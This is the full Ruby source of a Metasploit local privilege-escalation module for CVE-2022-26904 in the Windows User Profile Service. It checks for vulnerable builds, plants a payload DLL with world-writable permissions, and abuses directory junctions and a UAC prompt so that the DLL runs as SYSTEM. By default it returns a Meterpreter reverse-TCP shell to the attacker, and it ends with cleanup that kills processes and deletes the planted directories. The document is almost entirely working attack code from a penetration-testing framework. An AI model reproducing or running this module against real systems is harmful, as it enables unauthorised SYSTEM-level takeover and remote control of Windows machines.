Windows User Profile Service Privlege Escalation Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::FileDropper
  include Msf::Post::Windows::FileInfo
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::ReflectiveDLLInjection
  include Msf::Exploit::EXE # Needed for generate_payload_dll
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'User Profile Arbitrary Junction Creation Local Privilege Elevation',
          'Description' => %q{
            The user profile service, identified as ProfSrv, is vulnerable to a local privilege elevation vulnerability
            in its CreateDirectoryJunction() function due to a lack of appropriate checks on the directory structure of
            the junctions it tries to link together.

            Attackers can leverage this vulnerability to plant a malicious DLL in a system directory and then trigger a
            UAC prompt to cause this DLL to be loaded and executed by ProfSrv as the NT AUTHORITY\SYSTEM user.

            Note that this bug was originally identified as CVE-2021-34484 and was subsequently patched a second time as
            CVE-2022-21919, however both patches were found to be insufficient. This bug is a patch bypass for
            CVE-2022-21919 and at the time of publishing, has not yet been patched, though plans are in place to patch it
            as CVE-2022-26904.

            It is important to note that the credentials supplied for the second user to log in as in this exploit must be
            those of a normal non-admin user and these credentials must also corralate with a user who has already logged in
            at least once before. Additionally the current user running the exploit must have UAC set to the highest level,
            aka "Always Notify Me When", in order for the code to be executed as NT AUTHORITY\SYSTEM. Note however that
            "Always Notify Me When" is the default UAC setting on common Windows installs, so this would only affect instances
            where this setting has been changed either manually or as part of the installation process.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'KLINIX5', # Aka Abdelhamid Naceri. Original PoC w Patch Bypass
            'Grant Willcox' # Metasploit module + Tweaks to PoC
          ],
          'Arch' => [ ARCH_X64 ],
          'Platform' => 'win',
          'SessionTypes' => [ 'meterpreter' ],
          'Targets' => [
            [ 'Windows 11', { 'Arch' => ARCH_X64 } ]
          ],
          'References' => [
            ['CVE', '2022-26904'],
            ['URL', 'https://github.com/rmusser01/SuperProfile'], # Original link was at https://github.com/klinix5/SuperProfile/ but was taken down. This is a backup.
            ['URL', 'https://web.archive.org/web/20220222105232/https://halove23.blogspot.com/2022/02/blog-post.html'], # Original blog post
            ['URL', 'https://github.com/klinix5/ProfSvcLPE/blob/main/write-up.docx'] # Discussion of previous iterations of this bug providing insight into patched functionality.
          ],
          'DisclosureDate' => '2022-03-17', # Date MSRC supplied CVE number, bug is not patched atm.
          'DefaultTarget' => 0,
          'Notes' => {
            'Stability' => [ CRASH_SAFE, ],
            'Reliability' => [ REPEATABLE_SESSION ], # Will need to double check this as this may require some updates to the code to get it to the point where it can be used repetitively.
            'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS, AUDIO_EFFECTS ]
          },
          'DefaultOptions' => {
            'EXITFUNC' => 'thread',
            'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
            'WfsDelay' => 300
          },
          'AKA' => [ 'SuperProfile' ]
        }
      )
    )

    register_options([
      OptString.new('LOGINUSER', [true, 'Username of the secondary normal privileged user to log in as. Cannot be the same as the current user!']),
      OptString.new('LOGINDOMAIN', [true, 'Domain that the LOGINUSER belongs to. Ensures we log into the right domain.', '.']),
      OptString.new('LOGINPASSWORD', [true, 'Password for the secondary normal privileged user to log in as'])
    ])
  end

  def check
    sysinfo_value = sysinfo['OS']

    if sysinfo_value !~ /windows/i
      # Non-Windows systems are definitely not affected.
      return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
    end

    # see https://docs.microsoft.com/en-us/windows/release-information/
    unless sysinfo_value =~ /(7|8|8\.1|10|11|2008|2012|2016|2019|2022|1803|1903|1909|2004)/
      return CheckCode::Safe('Target is not running a vulnerable version of Windows!')
    end

    print_status('Checking if PromptOnSecureDesktop mitigation applied...')
    reg_key = 'HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System'
    reg_val = 'PromptOnSecureDesktop'
    begin
      root_key, base_key = @session.sys.registry.splitkey(reg_key)
      value = @session.sys.registry.query_value_direct(root_key, base_key, reg_val)
    rescue Rex::Post::Meterpreter::RequestError => e
      return CheckCode::Unknown("Was not able to retrieve the PromptOnSecureDesktop value. Error was #{e}")
    end

    if value.data == 0
      return CheckCode::Safe('PromptOnSecureDesktop is set to 0, mitigation applied!')
    elsif value.data == 1
      print_good('PromptOnSecureDesktop is set to 1, should be safe to proceed!')
    else
      return CheckCode::Unknown("PromptOnSecureDesktop was not set to a known value, are you sure the target system isn't corrupted?")
    end

    _major, _minor, build, revision, _branch = file_version('C:\\Windows\\System32\\ntdll.dll')
    major_minor_version = sysinfo_value.match(/\((\d{1,2}\.\d)/)
    if major_minor_version.nil?
      return CheckCode::Unknown("Could not retrieve the major n minor version of the target's build number!")
    end

    major_minor_version = major_minor_version[1]
    build_num = "#{major_minor_version}.#{build}.#{revision}"

    build_num_gemversion = Rex::Version.new(build_num)

    # Build numbers taken from https://www.gaijin.at/en/infos/windows-version-numbers and from
    # https://en.wikipedia.org/wiki/Windows_11_version_history and https://en.wikipedia.org/wiki/Windows_10_version_history
    if (build_num_gemversion >= Rex::Version.new('10.0.22000.0')) # Windows 11
      return CheckCode::Appears('Vulnerable Windows 11 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.20348.0')) # Windows Server 2022
      return CheckCode::Appears('Vulnerable Windows 11 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.19044.0')) # Windows 10 21H2
      return CheckCode::Appears('Vulnerable Windows 10 21H2 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.19043.0')) # Windows 10 21H1
      target_not_presently_supported
      return CheckCode::Appears('Vulnerable Windows 10 21H1 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.19042.0')) # Windows 10 20H2 / Windows Server, Version 20H2
      target_not_presently_supported
      return CheckCode::Appears('Vulnerable Windows 10 20H2 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.19041.0')) # Windows 10 v2004 / Windows Server v2004
      target_not_presently_supported
      return CheckCode::Appears('Vulnerable Windows 10 v2004 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.18363.0')) # Windows 10 v1909 / Windows Server v1909
      target_not_presently_supported
      return CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.18362.0')) # Windows 10 v1903
      target_not_presently_supported
      return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.17763.0')) # Windows 10 v1809 / Windows Server 2019 v1809
      target_not_presently_supported
      return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.17134.0')) # Windows 10 v1803
      target_not_presently_supported
      return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.16299.0')) # Windows 10 v1709
      target_not_presently_supported
      return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.15063.0')) # Windows 10 v1703
      target_not_presently_supported
      return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.14393.0')) # Windows 10 v1607 / Windows Server 2016 v1607
      target_not_presently_supported
      return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.10586.0')) # Windows 10 v1511
      target_not_presently_supported
      return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.10240.0')) # Windows 10 v1507
      target_not_presently_supported
      return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('6.3.9600.0')) # Windows 8.1/Windows Server 2012 R2
      target_not_presently_supported
      return CheckCode::Appears('Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('6.2.9200.0')) # Windows 8/Windows Server 2012
      target_not_presently_supported
      return CheckCode::Appears('Vulnerable Windows 8/Windows Server 2012 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('6.1.7601.0')) # Windows 7 SP1/Windows Server 2008 R2 SP1
      target_not_presently_supported
      return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('6.1.7600.0')) # Windows 7/Windows Server 2008 R2
      target_not_presently_supported
      return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('6.0.6002.0')) # Windows Server 2008 SP2
      target_not_presently_supported
      return CheckCode::Appears('Windows Server 2008/Windows Server 2008 SP2 build detected!')
    else
      return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')
    end
  end

  def target_not_presently_supported
    print_warning('This target is not presently supported by this exploit. Support may be added in the future!')
    print_warning('Attempts to exploit this target with this module WILL NOT WORK!')
  end

  def check_target_is_running_supported_windows_version
    if !sysinfo['OS'].include?('Windows')
      fail_with(Failure::NotVulnerable, 'Target is not running Windows!')
    elsif !sysinfo['OS'].include?('Windows 10') && !sysinfo['OS'].include?('Windows 11') && !sysinfo['OS'].include?('Windows Server 2022')
      fail_with(Failure::NoTarget, 'Target is running Windows, its not a version this module supports! Bailing...')
    end
  end

  def exploit
    # Step 1: Check target environment is correct.
    print_status('Step #1: Checking target environment...')
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end
    check_target_is_running_supported_windows_version

    # Step 2: Generate the malicious DLL and upload it to a temp location.
    payload_dll = generate_payload_dll
    print_status("Payload DLL is #{payload_dll.length} bytes long")
    temp_directory = session.sys.config.getenv('%TEMP%')
    malicious_dll_location = "#{temp_directory}\\#{Rex::Text.rand_text_alpha(6..13)}.dll"
    print_status("Writing malicious DLL to #{malicious_dll_location}")
    write_file(malicious_dll_location, payload_dll)

    print_status('Marking DLL as full access for Everyone so that there are no access issues as the secondary user...')
    cmd_exec("icacls #{malicious_dll_location} /grant Everyone:(F)")
    register_file_for_cleanup(malicious_dll_location)

    # Register the directories we create for cleanup
    register_dir_for_cleanup('C:\\Windows\\System32\\Narrator.exe.Local')
    register_dir_for_cleanup('C:\\Users\\TEMP')

    # Step 3: Load the main DLL that will trigger the exploit and conduct the arbitrary file copy.
    print_status('Step #3: Loading the exploit DLL to run the main exploit...')
    library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-26904', 'CVE-2022-26904.dll')
    library_path = ::File.expand_path(library_path)

    dll_info_parameter = datastore['LOGINUSER'].to_s + '||' + datastore['LOGINDOMAIN'].to_s + '||' + datastore['LOGINPASSWORD'].to_s + '||' + malicious_dll_location.to_s

    @session_obtained_bool = false
    # invoke the exploit, passing in the address of the payload that
    # we want invoked on successful exploitation, and the credentials for the second user.
    execute_dll(library_path, dll_info_parameter)

    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
    print_warning("Cleanup may not occur automatically if you aren't using a Meterpreter payload so make sure to run the following command upon session completion:")
    print_warning('taskkill /IM "consent.exe" /F || taskkill /IM "narrator.exe" /F || taskkill /IM "narratorquickstart.exe" /F || taskkill /IM "msiexec.exe" || rmdir /q /s C:\Users\TEMP || rmdir /q /s C:\Windows\System32\Narrator.exe.local')
    print_warning('You may need to run this more than once to ensure these files are properly deleted and Narrator.exe actually closes!')

    print_status('Sleeping for 60 seconds before trying to spawn UserAccountControlSettings.exe as a backup.')
    print_status('If you get a shell back before this, feel free to CTRL+C once the shell has successfully returned.')
    sleep(60)
    if (@session_obtained_bool == false)
      # Execute a command that requires elevation to cause the UAC prompt to appear. For some reason the DLL code itself
      # triggering the UAC prompt won't work at times so this is the best way of solving this issue for cases where this happens.
      begin
        cmd_exec('UserAccountControlSettings.exe')
      rescue Rex::TimeoutError
        print_warning('Will need to get user to click on the flashing icon in the taskbar to open the UAC prompt and give us shells!')
      end
    end
  end

  def on_new_session(new_session)
    @session_obtained_bool = true
    old_session = @session
    @session = new_session
    if new_session.type == 'meterpreter'
      consent_pids = pidof('consent.exe')
      for id in consent_pids
        @session.sys.process.kill(id)
      end
      sleep(5) # Needed as otherwise later folder deletion calls sometimes fail, and additional Narrator.exe processes
      # can sometimes spawn a few seconds after we close consent.exe so we want to grab all of them at once.
      narrator_pids = pidof('Narrator.exe')
      for id in narrator_pids
        @session.sys.process.kill(id)
      end
      narrator_pids = pidof('NarratorQuickStart.exe')
      for id in narrator_pids
        @session.sys.process.kill(id)
      end
      narrator_pids = pidof('msiexec.exe')
      for id in narrator_pids
        @session.sys.process.kill(id)
      end
    else
      # If it is another session type such as shell or PowerShell we will need to execute the command
      # normally using cmd_exec() to cleanup, as it doesn't seem we have a built in option to kill processes
      # by name or PIDs as library functions for these session types.
      cmd_exec('taskkill /IM "consent.exe" /F')
      sleep(5)
      cmd_exec('taskkill /IM "narrator.exe" /F')
      cmd_exec('taskkill /IM "narratorquickstart.exe" /F')
      cmd_exec('taskkill /IM "msiexec.exe" /F')
    end

    rm_rf('C:\\Windows\\System32\\Narrator.exe.local')
    for _i in range(1..3)
      rm_rf('C:\\Users\\TEMP') # Try deleting this 3 times just to be sure.
    end
    @session = old_session
    super
  end
end